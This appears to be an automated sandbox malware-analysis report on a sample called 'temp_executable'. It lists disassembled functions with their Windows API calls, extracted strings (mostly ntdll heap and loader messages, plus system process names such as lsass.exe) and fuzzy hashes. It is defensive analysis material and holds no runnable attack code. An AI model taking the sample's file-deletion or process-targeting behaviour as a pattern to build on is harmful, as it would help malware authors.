Opcode ID: 8cd5672f1bbfe50c95fd09064464ed4eca0056383847438df08223233b51ff5d
Instruction ID: 07a9971b8f29bbd68b878d9119023e68a6b74827d1d77f0d98df9434206269f1
Opcode Fuzzy Hash: 8cd5672f1bbfe50c95fd09064464ed4eca0056383847438df08223233b51ff5d
Instruction Fuzzy Hash: 4FD137712043116AD7207F619D46B6B3AACAB4574AF51443FF582B62D2DBBC8E408B2E

Function 32DE9060 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DE9208
RtlDebugPrintTimes.NTDLL ref: 32DE92A7
RtlDebugPrintTimes.NTDLL ref: 32DE9387
RtlDebugPrintTimes.NTDLL ref: 32DE9465
RtlDebugPrintTimes.NTDLL ref: 32DE956A
RtlDebugPrintTimes.NTDLL ref: 32DE9601
RtlDebugPrintTimes.NTDLL ref: 32DE9714
RtlDebugPrintTimes.NTDLL ref: 32DE987C

Strings

, xrefs: 32DE9657
0, xrefs: 32DE9776
, xrefs: 32DE9704

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: c3f1a9b4ec0145d7d62b64dd9d8a562df837999586a2543fb62478fd59e850e2
Instruction ID: 479d4f4a5d93cca81dcf756d84b247687f4dda00c4a85924a443954e19eab5e0
Opcode Fuzzy Hash: c3f1a9b4ec0145d7d62b64dd9d8a562df837999586a2543fb62478fd59e850e2
Instruction Fuzzy Hash: BE32E4B56093818FE350CF68C484B9ABBE5BF88348F40492EF9DA87350DB75D949CB52

Function 32DEFDF4 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DEFE28

Strings

HEAP: , xrefs: 32DEFF26, 32DF0035, 32DF015D, 32DF0202, 32DF0259
About to reallocate block at %p to %Ix bytes, xrefs: 32DEFF3A
RtlReAllocateHeap, xrefs: 32DEFE3F, 32DEFEE2
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 32DF026A
HEAP[%wZ]: , xrefs: 32DEFF19, 32DF0028, 32DF0150, 32DF01F5, 32DF024C
Just reallocated block at %p to %Ix bytes, xrefs: 32DF0171
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 32DF0053
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 32DF021F

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 3446177414-1700792311
Opcode ID: fb89dca89f95c9655674f290286d8ae13d5cf77873c3ebdc74a09b985e104863
Instruction ID: 1d8b77a2ba6d03b74202cac146cc0f13f5b6a3e54bc60f5d7548acdeb6c2becc
Opcode Fuzzy Hash: fb89dca89f95c9655674f290286d8ae13d5cf77873c3ebdc74a09b985e104863
Instruction Fuzzy Hash: 44D12136501685EFDB06CFA4E400AADBBF1FF09305F46C489E585AB751CB36E985CB24

Function 004066F4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406613: lstrlenW.KERNEL32(00425A48,00000000,00425A48,00425A48,00000000,?,?,00406716,?,00000000,76073420,?), ref: 00406667
Part of subcall function 00406613: GetFileAttributesW.KERNEL32(00425A48,00425A48), ref: 00406678

DeleteFileW.KERNEL32(?,?,00000000,76073420,?), ref: 00406720
lstrcatW.KERNEL32(00425248,\*.*,00425248,?,00000000,?,00000000,76073420,?), ref: 00406772
lstrcatW.KERNEL32(?,004082B0,?,00425248,?,00000000,?,00000000,76073420,?), ref: 00406793
lstrlenW.KERNEL32(?), ref: 00406796
FindFirstFileW.KERNEL32(00425248,?), ref: 004067AD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?), ref: 0040683E
FindClose.KERNEL32(00000000), ref: 00406850

Strings

\*.*, xrefs: 00406768

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: File$Find$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: \*.*
API String ID: 2636146433-1173974218
Opcode ID: 0962212a27e10f8c29849c35d287c52ef14dcf59cdd65fcf28beb03e610e8e2c
Instruction ID: ed3bb2814488eceec14de134e67e78f5f853c3bf88eed2e9a0dc8686b927a400
Opcode Fuzzy Hash: 0962212a27e10f8c29849c35d287c52ef14dcf59cdd65fcf28beb03e610e8e2c
Instruction Fuzzy Hash: E841193210671069D7207B399D45A6B76E8DF81318F12453FF883B21D1EB7C8C6686AF

Function 32DE86C2 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

runtimebroker.exe, xrefs: 32DE86F3
csrss.exe, xrefs: 32DE8700
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 32DE8750
lsass.exe, xrefs: 32DE8721
smss.exe, xrefs: 32DE870B
DefaultBrowser_NOPUBLISHERID, xrefs: 32DE8880
services.exe, xrefs: 32DE8716
svchost.exe, xrefs: 32DE86E8
heapType, xrefs: 32DE874B
SegmentHeap, xrefs: 32DE8769

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 31cb590bdc666523f624b6424c69803e8fc005486d6a8d057910701aa0093944
Instruction ID: 2661c0fe1b318f17cd540642279ddbf14bdf24749d66b6b2673132fd18c90e74
Opcode Fuzzy Hash: 31cb590bdc666523f624b6424c69803e8fc005486d6a8d057910701aa0093944
Instruction Fuzzy Hash: DF515CB55043559BE325CF18B980B9BBBE8EB84354F50491DBEAAC3360EB70D644CBD2

Function 32DEF0A5 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DEF0D6

Strings

Just allocated block at %p for %Ix bytes, xrefs: 32DEF288
RtlAllocateHeap, xrefs: 32DEF0ED
HEAP: , xrefs: 32DEF274, 32DEF321, 32DEF378
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 32DEF389
HEAP[%wZ]: , xrefs: 32DEF267, 32DEF314, 32DEF36B
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 32DEF33E

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: f438a25e95da8d7abdbaed0418567346d2f863160eb408fc6a7a83fa05c367c0
Instruction ID: 01bad9e75052d64abf487140aaa45f1599161d53624881d67a9f9bddeff6ef56
Opcode Fuzzy Hash: f438a25e95da8d7abdbaed0418567346d2f863160eb408fc6a7a83fa05c367c0
Instruction Fuzzy Hash: A7913236901748DFEB02CFA8D440A9DBBF2FF49394F448449E486AF351CB7A9981CB60

Function 32D3640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D3651C

Part of subcall function 32D36565: RtlDebugPrintTimes.NTDLL ref: 32D36614
Part of subcall function 32D36565: RtlDebugPrintTimes.NTDLL ref: 32D3665F

Strings

apphelp.dll, xrefs: 32D36446
LdrpInitShimEngine, xrefs: 32D99783, 32D99796, 32D997BF
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 32D9977C
minkernel\ntdll\ldrinit.c, xrefs: 32D997A0, 32D997C9
Getting the shim engine exports failed with status 0x%08lx, xrefs: 32D99790
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 32D997B9

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: f870e6517864594a43ed09042726a61ee8a81f0e8a915390a2e55da42cb0a77a
Instruction ID: b44b9cae351fab2e89a8bcf14e2e0a91396fe8ccb2cc044fc1d482ebfc42e916
Opcode Fuzzy Hash: f870e6517864594a43ed09042726a61ee8a81f0e8a915390a2e55da42cb0a77a
Instruction Fuzzy Hash: 0E519C716493049FE315CF20D991EDB77E8EB84748F800929F69597360EA70D944CBA6

Function 32D3D2EC Relevance: 11.6, Strings: 9, Instructions: 312COMMON

Download Yara Rule

Strings

@, xrefs: 32D3D603
Control Panel\Desktop\MuiCached, xrefs: 32D3D5CB
Control Panel\Desktop, xrefs: 32D3D3FD
@, xrefs: 32D3D43D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 32D3D356
MachinePreferredUILanguages, xrefs: 32D3D625
@, xrefs: 32D3D389
PreferredUILanguagesPending, xrefs: 32D9A66D
PreferredUILanguages, xrefs: 32D3D458, 32D3D465

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 90a9d526150727dcbb891bd3f467fdc0a3e6dba2a98e839c0ab3ea852306a811
Instruction ID: afe064e5c610e604e19545ad6123d728e7bbde2f56f672567979862b3232aa3f
Opcode Fuzzy Hash: 90a9d526150727dcbb891bd3f467fdc0a3e6dba2a98e839c0ab3ea852306a811
Instruction Fuzzy Hash: F1B17AB69093859FD716CF24C480B5FB7E8AB88758F41492EFA8497314DB70D908CFA2

Function 32D6D6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D6D879

Part of subcall function 32D44779: RtlDebugPrintTimes.NTDLL ref: 32D44817

Strings

$, xrefs: 32D6D820
LdrShutdownProcess, xrefs: 32DAF0D8
$, xrefs: 32D6D78D
minkernel\ntdll\ldrinit.c, xrefs: 32DAF0E2
Process 0x%p (%wZ) exiting, xrefs: 32DAF0D1

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: 1dd6706b2d5e875ed6d02a857b940f0803998f08c1bc6052645085db54afdcc9
Instruction ID: 04e37ebb20086ca366ea721e571b27ce0b8449a75225fb671915a1c82a6f5c60
Opcode Fuzzy Hash: 1dd6706b2d5e875ed6d02a857b940f0803998f08c1bc6052645085db54afdcc9
Instruction Fuzzy Hash: 80510175A403498FEB04CFA4D4857AEBBB1BF48308FA44459D9017B385DBB0A9C6CBE0

Function 32D3D02D Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

@, xrefs: 32D3D2B3
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 32D3D263
Control Panel\Desktop\LanguageConfiguration, xrefs: 32D3D136
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 32D3D06F
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 32D3D0E6
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 32D3D202
@, xrefs: 32D3D09D
@, xrefs: 32D3D24F

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: 467ab94b96184bd488c33287e5ef0e469781beb5e9c2793634b8b3f9bba0b422
Instruction ID: 908fe69349fc398e80f5008f2c006a45e9453151f9b0c925ab685df713991850
Opcode Fuzzy Hash: 467ab94b96184bd488c33287e5ef0e469781beb5e9c2793634b8b3f9bba0b422
Instruction Fuzzy Hash: 41A14FB25093459FE361CF21D484B9BB7E8BF88755F11492EFA8896340DB74D908CFA2

Function 32DC8633 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

VerifierFlags, xrefs: 32DC88D0
AVRF: -*- final list of providers -*- , xrefs: 32DC880F
HandleTraces, xrefs: 32DC890F
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 32DC86BD
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 32DC86E7
VerifierDlls, xrefs: 32DC893D
VerifierDebug, xrefs: 32DC8925

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: e3cd27522b3142753508dc80267ec9cfdc7cf4834aabc7f335e58c6d575adff6
Instruction ID: 403b872def4640dbbea4ffbe7d40fc558068b0be3b9728a209660356ec9dc8f6
Opcode Fuzzy Hash: e3cd27522b3142753508dc80267ec9cfdc7cf4834aabc7f335e58c6d575adff6
Instruction Fuzzy Hash: 55914571946765EFE313CF64A881F6A77A8BF44708F810968FA84AB350DB70DC45CBA1

Function 32D6237A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

apphelp.dll, xrefs: 32D62382
LdrpDynamicShimModule, xrefs: 32DAA7A5
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 32DAA79F
minkernel\ntdll\ldrinit.c, xrefs: 32DAA7AF

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: e5bc0acc30d9d9963d9a5c64a9e6dbb44b54414055ae827722c9ae544737dd3c
Instruction ID: 84d351afae89f8bc5bd2a1517733b902f28b41299a26bee202bf2208b4d7d509
Opcode Fuzzy Hash: e5bc0acc30d9d9963d9a5c64a9e6dbb44b54414055ae827722c9ae544737dd3c
Instruction Fuzzy Hash: BD312676A41385EFE7049F28C896E5A77B4FB84705F98095DEA007B350DBB098C2CBD0

Function 32D3F113 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

((LONG)FreeEntry->Size > 1), xrefs: 32D9DE42
HEAP: , xrefs: 32D9DCF3, 32D9DE37, 32D9E015, 32D9E12D
(UCRBlock != NULL), xrefs: 32D9DCFE
HEAP[%wZ]: , xrefs: 32D9DCE6, 32D9DE2A, 32D9E008, 32D9E120
(LONG)FreeEntry->Size > 1, xrefs: 32D9E020
(!TrailingUCR), xrefs: 32D9E138

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: bd2d5fab06deb0544255afc975de735f64acb60969ecd73f3c50bc91eddb254e
Instruction ID: 42e13dd6a7525e81c685b20f7692ed0722532cb0dc9efc3487b164d3b70a0275
Opcode Fuzzy Hash: bd2d5fab06deb0544255afc975de735f64acb60969ecd73f3c50bc91eddb254e
Instruction Fuzzy Hash: B942F07520A3859FD306CF28C880B6ABBE5FF88348F544969F985CB351DB74D845CB62

Function 32D5B0D0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

SxS, xrefs: 32DA81FA
API set, xrefs: 32DA8201, 32DA8206
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 32DA82DD
DLL %wZ was redirected to %wZ by %s, xrefs: 32DA8209
minkernel\ntdll\ldrutil.c, xrefs: 32DA821A, 32DA82EE
LdrpPreprocessDllName, xrefs: 32DA8210, 32DA82E4

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: 651b9eb4e3cadb4ecf7f292ce5058be40bebcdb480fab1a657ea97d7d4d49f7f
Instruction ID: 53657bd50c660ac3723e8648f8279c59425f38b592565f29a71a2d2b7378d728
Opcode Fuzzy Hash: 651b9eb4e3cadb4ecf7f292ce5058be40bebcdb480fab1a657ea97d7d4d49f7f
Instruction Fuzzy Hash: 85C12675A00355ABEF088B64D891BBEB7A1AF45348F648069EC41EB394DFF4DD44C3A0

Function 32D7631F Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

Delaying execution failed with status 0x%08lx, xrefs: 32DB4063
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 32DB4009
Process initialization failed with status 0x%08lx, xrefs: 32DB3F45
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 32DB3EE3
_LdrpInitialize, xrefs: 32DB3EEA, 32DB3F4C, 32DB4010, 32DB406A
minkernel\ntdll\ldrinit.c, xrefs: 32DB3EF4, 32DB3F56, 32DB401A, 32DB4074

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 96ea23673a1cb3c73f61ab1886408c1c5d407463cb34979150fc4665ced27ea9
Instruction ID: bba5015406ecd7e3dced8b589519b903960998aa8192443e13933dc858eaedd1
Opcode Fuzzy Hash: 96ea23673a1cb3c73f61ab1886408c1c5d407463cb34979150fc4665ced27ea9
Instruction Fuzzy Hash: F9917E70A06358DFFB15CF24C869B9E37A0EF04759F540069EA517B380EBB49881CBE0

Function 32D7C5C6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

Loading import redirection DLL: '%wZ', xrefs: 32DB7F7B
LdrpInitializeProcess, xrefs: 32D7C5E4
Unable to build import redirection Table, Status = 0x%x, xrefs: 32DB7FF0
minkernel\ntdll\ldrredirect.c, xrefs: 32DB7F8C, 32DB8000
LdrpInitializeImportRedirection, xrefs: 32DB7F82, 32DB7FF6
minkernel\ntdll\ldrinit.c, xrefs: 32D7C5E3

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: 3eca4299046b60edc5a0ca185a435794e35a1e5850d476142dd5685462c413cb
Instruction ID: 59bc475fd2d928ad787930d21726769e4793cbcb11525f94100259dd395aedd9
Opcode Fuzzy Hash: 3eca4299046b60edc5a0ca185a435794e35a1e5850d476142dd5685462c413cb
Instruction Fuzzy Hash: 6A3105B56053419FD314DF28E855E2BB7D4EF88B18F400958F985AB391EA64DC09CBF2

Function 32D50680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32DA4ECA
(UCRBlock->Size >= *Size), xrefs: 32DA4ED7
HEAP[%wZ]: , xrefs: 32DA4EBB

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: deb0fe9308b3aeca83cba5d8e19f24a60948f5b9cf472687265c654d657a09ff
Instruction ID: c4887eebc0b0d5c1d57f8788d5372222dc457446559fdb7734ed8fdce6c1fe63
Opcode Fuzzy Hash: deb0fe9308b3aeca83cba5d8e19f24a60948f5b9cf472687265c654d657a09ff
Instruction Fuzzy Hash: B6F1AD74A00605DFEB05CF68D890F6AB7B5FF48345F2481A9E8559B381DBB4E981CFA0

Function 32D69723 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D69922

Strings

Unmapping DLL "%wZ", xrefs: 32DADAEE
LdrpUnloadNode, xrefs: 32DADAF5
minkernel\ntdll\ldrsnap.c, xrefs: 32DADAFF

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-2283098728
Opcode ID: 0d399306e362edb4c3aca9c943e39066e495c222e23252eca13fe65036198196
Instruction ID: 68437ee62938dc9041ba674569c4bbac2a4e32c16b1a3f347161fbd60bb2f85a
Opcode Fuzzy Hash: 0d399306e362edb4c3aca9c943e39066e495c222e23252eca13fe65036198196
Instruction Fuzzy Hash: 4A5136757013019FE715DF38C884BB9F3A1BB8431CF940A2DE9929B791DBB09845CBA1

Function 32D7C640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D7C6DF

Strings

LdrpInitializePerUserWindowsDirectory, xrefs: 32DB80E9
Failed to reallocate the system dirs string !, xrefs: 32DB80E2
minkernel\ntdll\ldrinit.c, xrefs: 32DB80F3

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
